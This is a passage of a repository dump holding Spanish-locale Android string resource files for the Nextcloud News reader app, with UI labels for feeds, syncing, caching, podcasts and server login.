<string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rPE/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar cuenta</string>\n    \n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rPR/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rPY/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string 